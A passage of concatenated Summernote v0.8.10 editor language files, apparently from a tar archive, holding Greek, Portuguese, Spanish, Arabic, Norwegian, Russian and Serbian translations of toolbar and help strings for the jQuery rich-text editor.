!function(e){e.extend(e.summernote.lang,{"el-GR":{font:{bold:"Έντονα",italic:"Πλάγια",underline:"Υπογραμμισμένα",clear:"Καθαρισμός",height:"Ύψος",name:"Γραμματοσειρά",strikethrough:"Διεγραμμένα",subscript:"Δείκτης",superscript:"Εκθέτης",size:"Μέγεθος"},image:{image:"εικόνα",insert:"Εισαγωγή",resizeFull:"Πλήρες μέγεθος",resizeHalf:"Μισό μέγεθος",resizeQuarter:"1/4 μέγεθος",floatLeft:"Μετατόπιση αριστερά",floatRight:"Μετατόπιση δεξιά",floatNone:"Χωρίς μετατόπιση",shapeRounded:"Σχήμα: Στρογγυλεμένο",shapeCircle:"Σχήμα: Κύκλος",shapeThumbnail:"Σχήμα: Thumbnail",shapeNone:"Σχήμα: Κανένα",dragImageHere:"Σύρτε την εικόνα εδώ",dropImage:"Αφήστε την εικόνα",selectFromFiles:"Επιλογή από αρχεία",maximumFileSize:"Μέγιστο μέγεθος αρχείου",maximumFileSizeError:"Το μέγεθος είναι μεγαλύτερο από το μέγιστο επιτρεπτό.",url:"URL",remove:"Αφαίρεση",original:"Original"},link:{link:"Σύνδεσμος",insert:"Εισαγωγή συνδέσμου",unlink:"Αφαίρεση συνδέσμου",edit:"Επεξεργασία συνδέσμου",textToDisplay:"Κείμενο συνδέσμου",url:"URL",openInNewWindow:"Άνοιγμα σε νέο παράθυρο"},video:{video:"Βίντεο",videoLink:"Σύνδεσμος Βίντεο",insert:"Εισαγωγή",url:"URL",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)"},table:{table:"Πίνακας",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Εισαγωγή οριζόντιας γραμμής"},style:{style:"Στυλ",normal:"Κανονικό",blockquote:"Παράθεση",pre:"Ως έχει",h1:"Κεφαλίδα 1",h2:"συνδέσμου 2",h3:"συνδέσμου 3",h4:"συνδέσμου 4",h5:"συνδέσμου 5",h6:"συνδέσμου 6"},lists:{unordered:"Αταξινόμητη λίστα",ordered:"Ταξινομημένη λίστα"},options:{help:"Βοήθεια",fullscreen:"Πλήρης οθόνη",codeview:"Προβολή HTML"},paragraph:{paragraph:"Παράγραφος",outdent:"Μείωση εσοχής",indent:"Άυξηση εσοχής",left:"Αριστερή στοίχιση",center:"Στοίχιση στο κέντρο",right:"Δεξιά στοίχιση",justify:"Πλήρης στοίχιση"},color:{recent:"Πρόσφατη επιλογή",more:"Περισσότερα",background:"Υπόβαθρο",foreground:"Μπροστά",transparent:"Διαφανές",setTransparent:"Επιλογή διαφάνειας",reset:"Επαναφορά",resetToDefault:"Επαναφορά στις προκαθορισμένες τιμές"},shortcut:{shortcuts:"Συντομεύσεις",close:"Κλείσιμο",textFormatting:"Διαμόρφωση κειμένου",action:"Ενέργεια",paragraphFormatting:"Διαμόρφωση παραγράφου",documentStyle:"Στυλ κειμένου",extraKeys:"Επιπλέον συντομεύσεις"},help:{insertParagraph:"Εισαγωγή παραγράφου",undo:"Αναιρεί την προηγούμενη εντολή",redo:"Επαναλαμβάνει την προηγούμενη εντολή",tab:"Εσοχή",untab:"Αναίρεση εσοχής",bold:"Ορισμός έντονου στυλ",italic:"Ορισμός πλάγιου στυλ",underline:"Ορισμός υπογεγραμμένου στυλ",strikethrough:"Ορισμός διεγραμμένου στυλ",removeFormat:"Αφαίρεση στυλ",justifyLeft:"Ορισμός αριστερής στοίχισης",justifyCenter:"Ορισμός κεντρικής στοίχισης",justifyRight:"Ορισμός δεξιάς στοίχισης",justifyFull:"Ορισμός πλήρους στοίχισης",insertUnorderedList:"Ορισμός μη-ταξινομημένης λίστας",insertOrderedList:"Ορισμός ταξινομημένης λίστας",outdent:"Προεξοχή παραγράφου",indent:"Εσοχή παραγράφου",formatPara:"Αλλαγή της μορφής του τρέχοντος μπλοκ σε παράγραφο (P tag)",formatH1:"Αλλαγή της μορφής του τρέχοντος μπλοκ σε H1",formatH2:"Αλλαγή της μορφής του τρέχοντος μπλοκ σε H2",formatH3:"Αλλαγή της μορφής του τρέχοντος μπλοκ σε H3",formatH4:"Αλλαγή της μορφής του τρέχοντος μπλοκ σε H4",formatH5:"Αλλαγή της μορφής του τρέχοντος μπλοκ σε H5",formatH6:"Αλλαγή της μορφής του τρέχοντος μπλοκ σε H6",insertHorizontalRule:"Εισαγωγή οριζόντιας γραμμής","linkDialog.show":"Εμφάνιση διαλόγου συνδέσμου"},history:{undo:"Αναίρεση",redo:"Επαναληψη"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Επιλέξτε ειδικούς χαρακτήρες"}}})}(jQuery);lang/summernote-pt-PT.min.js000064400000007063151677331550011770 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"pt-PT":{font:{bold:"Negrito",italic:"Itálico",underline:"Sublinhado",clear:"Remover estilo da fonte",height:"Altura da linha",name:"Fonte",strikethrough:"Riscado",subscript:"Subscript",superscript:"Superscript",size:"Tamanho da fonte"},image:{image:"Imagem",insert:"Inserir imagem",resizeFull:"Redimensionar Completo",resizeHalf:"Redimensionar Metade",resizeQuarter:"Redimensionar Um Quarto",floatLeft:"Float Esquerda",floatRight:"Float Direita",floatNone:"Sem Float",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Arraste uma imagem para aqui",dropImage:"Drop image or Text",selectFromFiles:"Selecione a partir dos arquivos",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"Endereço da imagem",remove:"Remove Image",original:"Original"},video:{video:"Vídeo",videoLink:"Link para vídeo",insert:"Inserir vídeo",url:"URL do vídeo?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion ou Youku)"},link:{link:"Link",insert:"Inserir ligação",unlink:"Remover ligação",edit:"Editar",textToDisplay:"Texto para exibir",url:"Que endereço esta licação leva?",openInNewWindow:"Abrir numa nova janela"},table:{table:"Tabela",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Inserir linha horizontal"},style:{style:"Estilo",p:"p",blockquote:"Citação",pre:"Código",h1:"Título 1",h2:"Título 2",h3:"Título 3",h4:"Título 4",h5:"Título 5",h6:"Título 6"},lists:{unordered:"Lista com marcadores",ordered:"Lista numerada"},options:{help:"Ajuda",fullscreen:"Janela Completa",codeview:"Ver código-fonte"},paragraph:{paragraph:"Parágrafo",outdent:"Menor tabulação",indent:"Maior tabulação",left:"Alinhar à esquerda",center:"Alinhar ao centro",right:"Alinha à direita",justify:"Justificado"},color:{recent:"Cor recente",more:"Mais cores",background:"Fundo",foreground:"Fonte",transparent:"Transparente",setTransparent:"Fundo transparente",reset:"Restaurar",resetToDefault:"Restaurar padrão"},shortcut:{shortcuts:"Atalhos do teclado",close:"Fechar",textFormatting:"Formatação de texto",action:"Ação",paragraphFormatting:"Formatação de parágrafo",documentStyle:"Estilo de documento"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Desfazer",redo:"Refazer"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-es-ES.js000064400000012437151677331550011157 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'es-ES': {
      font: {
        bold: 'Negrita',
        italic: 'Cursiva',
        underline: 'Subrayado',
        clear: 'Quitar estilo de fuente',
        height: 'Altura de línea',
        name: 'Fuente',
        strikethrough: 'Tachado',
        superscript: 'Superíndice',
        subscript: 'Subíndice',
        size: 'Tamaño de la fuente'
      },
      image: {
        image: 'Imagen',
        insert: 'Insertar imagen',
        resizeFull: 'Redimensionar a tamaño completo',
        resizeHalf: 'Redimensionar a la mitad',
        resizeQuarter: 'Redimensionar a un cuarto',
        floatLeft: 'Flotar a la izquierda',
        floatRight: 'Flotar a la derecha',
        floatNone: 'No flotar',
        shapeRounded: 'Forma: Redondeado',
        shapeCircle: 'Forma: Círculo',
        shapeThumbnail: 'Forma: Marco',
        shapeNone: 'Forma: Ninguna',
        dragImageHere: 'Arrastrar una imagen o texto aquí',
        dropImage: 'Suelta la imagen o texto',
        selectFromFiles: 'Seleccionar desde los archivos',
        maximumFileSize: 'Tamaño máximo del archivo',
        maximumFileSizeError: 'Has superado el tamaño máximo del archivo.',
        url: 'URL de la imagen',
        remove: 'Eliminar imagen',
        original: 'Original'
      },
      video: {
        video: 'Vídeo',
        videoLink: 'Link del vídeo',
        insert: 'Insertar vídeo',
        url: '¿URL del vídeo?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion o Youku)'
      },
      link: {
        link: 'Link',
        insert: 'Insertar link',
        unlink: 'Quitar link',
        edit: 'Editar',
        textToDisplay: 'Texto para mostrar',
        url: '¿Hacia que URL lleva el link?',
        openInNewWindow: 'Abrir en una nueva ventana'
      },
      table: {
        table: 'Tabla',
        addRowAbove: 'Añadir fila encima',
        addRowBelow: 'Añadir fila debajo',
        addColLeft: 'Añadir columna izquierda',
        addColRight: 'Añadir columna derecha',
        delRow: 'Borrar fila',
        delCol: 'Eliminar columna',
        delTable: 'Eliminar tabla'
      },
      hr: {
        insert: 'Insertar línea horizontal'
      },
      style: {
        style: 'Estilo',
        p: 'p',
        blockquote: 'Cita',
        pre: 'Código',
        h1: 'Título 1',
        h2: 'Título 2',
        h3: 'Título 3',
        h4: 'Título 4',
        h5: 'Título 5',
        h6: 'Título 6'
      },
      lists: {
        unordered: 'Lista desordenada',
        ordered: 'Lista ordenada'
      },
      options: {
        help: 'Ayuda',
        fullscreen: 'Pantalla completa',
        codeview: 'Ver código fuente'
      },
      paragraph: {
        paragraph: 'Párrafo',
        outdent: 'Menos tabulación',
        indent: 'Más tabulación',
        left: 'Alinear a la izquierda',
        center: 'Alinear al centro',
        right: 'Alinear a la derecha',
        justify: 'Justificar'
      },
      color: {
        recent: 'Último color',
        more: 'Más colores',
        background: 'Color de fondo',
        foreground: 'Color de fuente',
        transparent: 'Transparente',
        setTransparent: 'Establecer transparente',
        reset: 'Restaurar',
        resetToDefault: 'Restaurar por defecto'
      },
      shortcut: {
        shortcuts: 'Atajos de teclado',
        close: 'Cerrar',
        textFormatting: 'Formato de texto',
        action: 'Acción',
        paragraphFormatting: 'Formato de párrafo',
        documentStyle: 'Estilo de documento',
        extraKeys: 'Teclas adicionales'
      },
      help: {
        'insertParagraph': 'Insertar párrafo',
        'undo': 'Deshacer última acción',
        'redo': 'Rehacer última acción',
        'tab': 'Tabular',
        'untab': 'Eliminar tabulación',
        'bold': 'Establecer estilo negrita',
        'italic': 'Establecer estilo cursiva',
        'underline': 'Establecer estilo subrayado',
        'strikethrough': 'Establecer estilo tachado',
        'removeFormat': 'Limpiar estilo',
        'justifyLeft': 'Alinear a la izquierda',
        'justifyCenter': 'Alinear al centro',
        'justifyRight': 'Alinear a la derecha',
        'justifyFull': 'Justificar',
        'insertUnorderedList': 'Insertar lista desordenada',
        'insertOrderedList': 'Insertar lista ordenada',
        'outdent': 'Reducir tabulación del párrafo',
        'indent': 'Aumentar tabulación del párrafo',
        'formatPara': 'Cambiar estilo del bloque a párrafo (etiqueta P)',
        'formatH1': 'Cambiar estilo del bloque a H1',
        'formatH2': 'Cambiar estilo del bloque a H2',
        'formatH3': 'Cambiar estilo del bloque a H3',
        'formatH4': 'Cambiar estilo del bloque a H4',
        'formatH5': 'Cambiar estilo del bloque a H5',
        'formatH6': 'Cambiar estilo del bloque a H6',
        'insertHorizontalRule': 'Insertar línea horizontal',
        'linkDialog.show': 'Mostrar panel enlaces'
      },
      history: {
        undo: 'Deshacer',
        redo: 'Rehacer'
      },
      specialChar: {
        specialChar: 'CARACTERES ESPECIALES',
        select: 'Selecciona Caracteres especiales'
      }
    }
  });
})(jQuery);
lang/summernote-ar-AR.min.js000064400000007751151677331550011732 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"ar-AR":{font:{bold:"عريض",italic:"مائل",underline:"تحته خط",clear:"مسح التنسيق",height:"إرتفاع السطر",name:"الخط",strikethrough:"فى وسطه خط",subscript:"مخطوطة",superscript:"حرف فوقي",size:"الحجم"},image:{image:"صورة",insert:"إضافة صورة",resizeFull:"الحجم بالكامل",resizeHalf:"تصغير للنصف",resizeQuarter:"تصغير للربع",floatLeft:"تطيير لليسار",floatRight:"تطيير لليمين",floatNone:"ثابته",shapeRounded:"الشكل: تقريب",shapeCircle:"الشكل: دائرة",shapeThumbnail:"الشكل: صورة مصغرة",shapeNone:"الشكل: لا شيء",dragImageHere:"إدرج الصورة هنا",dropImage:"إسقاط صورة أو نص",selectFromFiles:"حدد ملف",maximumFileSize:"الحد الأقصى لحجم الملف",maximumFileSizeError:"تم تجاوز الحد الأقصى لحجم الملف",url:"رابط الصورة",remove:"حذف الصورة",original:"Original"},video:{video:"فيديو",videoLink:"رابط الفيديو",insert:"إدراج الفيديو",url:"رابط الفيديو",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion ou Youku)"},link:{link:"رابط رابط",insert:"إدراج",unlink:"حذف الرابط",edit:"تعديل",textToDisplay:"النص",url:"مسار الرابط",openInNewWindow:"فتح في نافذة جديدة"},table:{table:"جدول",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"إدراج خط أفقي"},style:{style:"تنسيق",p:"عادي",blockquote:"إقتباس",pre:"شفيرة",h1:"عنوان رئيسي 1",h2:"عنوان رئيسي 2",h3:"عنوان رئيسي 3",h4:"عنوان رئيسي 4",h5:"عنوان رئيسي 5",h6:"عنوان رئيسي 6"},lists:{unordered:"قائمة مُنقطة",ordered:"قائمة مُرقمة"},options:{help:"مساعدة",fullscreen:"حجم الشاشة بالكامل",codeview:"شفيرة المصدر"},paragraph:{paragraph:"فقرة",outdent:"محاذاة للخارج",indent:"محاذاة للداخل",left:"محاذاة لليسار",center:"توسيط",right:"محاذاة لليمين",justify:"ملئ السطر"},color:{recent:"تم إستخدامه",more:"المزيد",background:"لون الخلفية",foreground:"لون النص",transparent:"شفاف",setTransparent:"بدون خلفية",reset:"إعادة الضبط",resetToDefault:"إعادة الضبط"},shortcut:{shortcuts:"إختصارات",close:"غلق",textFormatting:"تنسيق النص",action:"Action",paragraphFormatting:"تنسيق الفقرة",documentStyle:"تنسيق المستند",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"تراجع",redo:"إعادة"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-es-ES.min.js000064400000007412151677331550011736 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"es-ES":{font:{bold:"Negrita",italic:"Cursiva",underline:"Subrayado",clear:"Quitar estilo de fuente",height:"Altura de línea",name:"Fuente",strikethrough:"Tachado",superscript:"Superíndice",subscript:"Subíndice",size:"Tamaño de la fuente"},image:{image:"Imagen",insert:"Insertar imagen",resizeFull:"Redimensionar a tamaño completo",resizeHalf:"Redimensionar a la mitad",resizeQuarter:"Redimensionar a un cuarto",floatLeft:"Flotar a la izquierda",floatRight:"Flotar a la derecha",floatNone:"No flotar",shapeRounded:"Forma: Redondeado",shapeCircle:"Forma: Círculo",shapeThumbnail:"Forma: Marco",shapeNone:"Forma: Ninguna",dragImageHere:"Arrastrar una imagen o texto aquí",dropImage:"Suelta la imagen o texto",selectFromFiles:"Seleccionar desde los archivos",maximumFileSize:"Tamaño máximo del archivo",maximumFileSizeError:"Has superado el tamaño máximo del archivo.",url:"URL de la imagen",remove:"Eliminar imagen",original:"Original"},video:{video:"Vídeo",videoLink:"Link del vídeo",insert:"Insertar vídeo",url:"¿URL del vídeo?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion o Youku)"},link:{link:"Link",insert:"Insertar link",unlink:"Quitar link",edit:"Editar",textToDisplay:"Texto para mostrar",url:"¿Hacia que URL lleva el link?",openInNewWindow:"Abrir en una nueva ventana"},table:{table:"Tabla",addRowAbove:"Añadir fila encima",addRowBelow:"Añadir fila debajo",addColLeft:"Añadir columna izquierda",addColRight:"Añadir columna derecha",delRow:"Borrar fila",delCol:"Eliminar columna",delTable:"Eliminar tabla"},hr:{insert:"Insertar línea horizontal"},style:{style:"Estilo",p:"p",blockquote:"Cita",pre:"Código",h1:"Título 1",h2:"Título 2",h3:"Título 3",h4:"Título 4",h5:"Título 5",h6:"Título 6"},lists:{unordered:"Lista desordenada",ordered:"Lista ordenada"},options:{help:"Ayuda",fullscreen:"Pantalla completa",codeview:"Ver código fuente"},paragraph:{paragraph:"Párrafo",outdent:"Menos tabulación",indent:"Más tabulación",left:"Alinear a la izquierda",center:"Alinear al centro",right:"Alinear a la derecha",justify:"Justificar"},color:{recent:"Último color",more:"Más colores",background:"Color de fondo",foreground:"Color de fuente",transparent:"Transparente",setTransparent:"Establecer transparente",reset:"Restaurar",resetToDefault:"Restaurar por defecto"},shortcut:{shortcuts:"Atajos de teclado",close:"Cerrar",textFormatting:"Formato de texto",action:"Acción",paragraphFormatting:"Formato de párrafo",documentStyle:"Estilo de documento",extraKeys:"Teclas adicionales"},help:{insertParagraph:"Insertar párrafo",undo:"Deshacer última acción",redo:"Rehacer última acción",tab:"Tabular",untab:"Eliminar tabulación",bold:"Establecer estilo negrita",italic:"Establecer estilo cursiva",underline:"Establecer estilo subrayado",strikethrough:"Establecer estilo tachado",removeFormat:"Limpiar estilo",justifyLeft:"Alinear a la izquierda",justifyCenter:"Alinear al centro",justifyRight:"Alinear a la derecha",justifyFull:"Justificar",insertUnorderedList:"Insertar lista desordenada",insertOrderedList:"Insertar lista ordenada",outdent:"Reducir tabulación del párrafo",indent:"Aumentar tabulación del párrafo",formatPara:"Cambiar estilo del bloque a párrafo (etiqueta P)",formatH1:"Cambiar estilo del bloque a H1",formatH2:"Cambiar estilo del bloque a H2",formatH3:"Cambiar estilo del bloque a H3",formatH4:"Cambiar estilo del bloque a H4",formatH5:"Cambiar estilo del bloque a H5",formatH6:"Cambiar estilo del bloque a H6",insertHorizontalRule:"Insertar línea horizontal","linkDialog.show":"Mostrar panel enlaces"},history:{undo:"Deshacer",redo:"Rehacer"},specialChar:{specialChar:"CARACTERES ESPECIALES",select:"Selecciona Caracteres especiales"}}})}(jQuery);lang/summernote-nb-NO.js000064400000011731151677331550011150 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'nb-NO': {
      font: {
        bold: 'Fet',
        italic: 'Kursiv',
        underline: 'Understrek',
        clear: 'Fjern formatering',
        height: 'Linjehøyde',
        name: 'Skrifttype',
        strikethrough: 'Gjennomstrek',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Skriftstørrelse'
      },
      image: {
        image: 'Bilde',
        insert: 'Sett inn bilde',
        resizeFull: 'Sett full størrelse',
        resizeHalf: 'Sett halv størrelse',
        resizeQuarter: 'Sett kvart størrelse',
        floatLeft: 'Flyt til venstre',
        floatRight: 'Flyt til høyre',
        floatNone: 'Fjern flyt',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Dra et bilde hit',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Velg fra filer',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'Bilde-URL',
        remove: 'Fjern bilde',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Videolenke',
        insert: 'Sett inn video',
        url: 'Video-URL',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion eller Youku)'
      },
      link: {
        link: 'Lenke',
        insert: 'Sett inn lenke',
        unlink: 'Fjern lenke',
        edit: 'Rediger',
        textToDisplay: 'Visningstekst',
        url: 'Til hvilken URL skal denne lenken peke?',
        openInNewWindow: 'Åpne i nytt vindu'
      },
      table: {
        table: 'Tabell',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Sett inn horisontal linje'
      },
      style: {
        style: 'Stil',
        p: 'p',
        blockquote: 'Sitat',
        pre: 'Kode',
        h1: 'Overskrift 1',
        h2: 'Overskrift 2',
        h3: 'Overskrift 3',
        h4: 'Overskrift 4',
        h5: 'Overskrift 5',
        h6: 'Overskrift 6'
      },
      lists: {
        unordered: 'Punktliste',
        ordered: 'Nummerert liste'
      },
      options: {
        help: 'Hjelp',
        fullscreen: 'Fullskjerm',
        codeview: 'HTML-visning'
      },
      paragraph: {
        paragraph: 'Avsnitt',
        outdent: 'Tilbakerykk',
        indent: 'Innrykk',
        left: 'Venstrejustert',
        center: 'Midtstilt',
        right: 'Høyrejustert',
        justify: 'Blokkjustert'
      },
      color: {
        recent: 'Nylig valgt farge',
        more: 'Flere farger',
        background: 'Bakgrunnsfarge',
        foreground: 'Skriftfarge',
        transparent: 'Gjennomsiktig',
        setTransparent: 'Sett gjennomsiktig',
        reset: 'Nullstill',
        resetToDefault: 'Nullstill til standard'
      },
      shortcut: {
        shortcuts: 'Hurtigtaster',
        close: 'Lukk',
        textFormatting: 'Tekstformatering',
        action: 'Handling',
        paragraphFormatting: 'Avsnittsformatering',
        documentStyle: 'Dokumentstil'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Angre',
        redo: 'Gjør om'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-ru-RU.min.js000064400000013053151677331550011772 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"ru-RU":{font:{bold:"Полужирный",italic:"Курсив",underline:"Подчёркнутый",clear:"Убрать стили шрифта",height:"Высота линии",name:"Шрифт",strikethrough:"Зачёркнутый",subscript:"Нижний индекс",superscript:"Верхний индекс",size:"Размер шрифта"},image:{image:"Картинка",insert:"Вставить картинку",resizeFull:"Восстановить размер",resizeHalf:"Уменьшить до 50%",resizeQuarter:"Уменьшить до 25%",floatLeft:"Расположить слева",floatRight:"Расположить справа",floatNone:"Расположение по-умолчанию",shapeRounded:"Форма: Закругленная",shapeCircle:"Форма: Круг",shapeThumbnail:"Форма: Миниатюра",shapeNone:"Форма: Нет",dragImageHere:"Перетащите сюда картинку",dropImage:"Перетащите картинку",selectFromFiles:"Выбрать из файлов",maximumFileSize:"Максимальный размер файла",maximumFileSizeError:"Превышен максимальный размер файла",url:"URL картинки",remove:"Удалить картинку",original:"Оригинал"},video:{video:"Видео",videoLink:"Ссылка на видео",insert:"Вставить видео",url:"URL видео",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion или Youku)"},link:{link:"Ссылка",insert:"Вставить ссылку",unlink:"Убрать ссылку",edit:"Редактировать",textToDisplay:"Отображаемый текст",url:"URL для перехода",openInNewWindow:"Открывать в новом окне"},table:{table:"Таблица",addRowAbove:"Добавить строку выше",addRowBelow:"Добавить строку ниже",addColLeft:"Добавить столбец слева",addColRight:"Добавить столбец справа",delRow:"Удалить строку",delCol:"Удалить столбец",delTable:"Удалить таблицу"},hr:{insert:"Вставить горизонтальную линию"},style:{style:"Стиль",p:"Нормальный",blockquote:"Цитата",pre:"Код",h1:"Заголовок 1",h2:"Заголовок 2",h3:"Заголовок 3",h4:"Заголовок 4",h5:"Заголовок 5",h6:"Заголовок 6"},lists:{unordered:"Маркированный список",ordered:"Нумерованный список"},options:{help:"Помощь",fullscreen:"На весь экран",codeview:"Исходный код"},paragraph:{paragraph:"Параграф",outdent:"Уменьшить отступ",indent:"Увеличить отступ",left:"Выровнять по левому краю",center:"Выровнять по центру",right:"Выровнять по правому краю",justify:"Растянуть по ширине"},color:{recent:"Последний цвет",more:"Еще цвета",background:"Цвет фона",foreground:"Цвет шрифта",transparent:"Прозрачный",setTransparent:"Сделать прозрачным",reset:"Сброс",resetToDefault:"Восстановить умолчания"},shortcut:{shortcuts:"Сочетания клавиш",close:"Закрыть",textFormatting:"Форматирование текста",action:"Действие",paragraphFormatting:"Форматирование параграфа",documentStyle:"Стиль документа",extraKeys:"Дополнительные комбинации"},help:{insertParagraph:"Новый параграф",undo:"Отменить последнюю команду",redo:"Повторить последнюю команду",tab:"Tab",untab:"Untab",bold:'Установить стиль "Жирный"',italic:'Установить стиль "Наклонный"',underline:'Установить стиль "Подчеркнутый"',strikethrough:'Установить стиль "Зачеркнутый"',removeFormat:"Сборсить стили",justifyLeft:"Выровнять по левому краю",justifyCenter:"Выровнять по центру",justifyRight:"Выровнять по правому краю",justifyFull:"Растянуть на всю ширину",insertUnorderedList:"Включить/отключить маркированный список",insertOrderedList:"Включить/отключить нумерованный список",outdent:"Убрать отступ в текущем параграфе",indent:"Вставить отступ в текущем параграфе",formatPara:"Форматировать текущий блок как параграф (тег P)",formatH1:"Форматировать текущий блок как H1",formatH2:"Форматировать текущий блок как H2",formatH3:"Форматировать текущий блок как H3",formatH4:"Форматировать текущий блок как H4",formatH5:"Форматировать текущий блок как H5",formatH6:"Форматировать текущий блок как H6",insertHorizontalRule:"Вставить горизонтальную черту","linkDialog.show":'Показать диалог "Ссылка"'},history:{undo:"Отменить",redo:"Повтор"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-sr-RS.js000064400000013326151677331550011207 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'sr-RS': {
      font: {
        bold: 'Подебљано',
        italic: 'Курзив',
        underline: 'Подвучено',
        clear: 'Уклони стилове фонта',
        height: 'Висина линије',
        name: 'Font Family',
        strikethrough: 'Прецртано',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Величина фонта'
      },
      image: {
        image: 'Слика',
        insert: 'Уметни слику',
        resizeFull: 'Пуна величина',
        resizeHalf: 'Умањи на 50%',
        resizeQuarter: 'Умањи на 25%',
        floatLeft: 'Уз леву ивицу',
        floatRight: 'Уз десну ивицу',
        floatNone: 'Без равнања',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Превуци слику овде',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Изабери из датотеке',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'Адреса слике',
        remove: 'Уклони слику',
        original: 'Original'
      },
      video: {
        video: 'Видео',
        videoLink: 'Веза ка видеу',
        insert: 'Уметни видео',
        url: 'URL видео',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion или Youku)'
      },
      link: {
        link: 'Веза',
        insert: 'Уметни везу',
        unlink: 'Уклони везу',
        edit: 'Уреди',
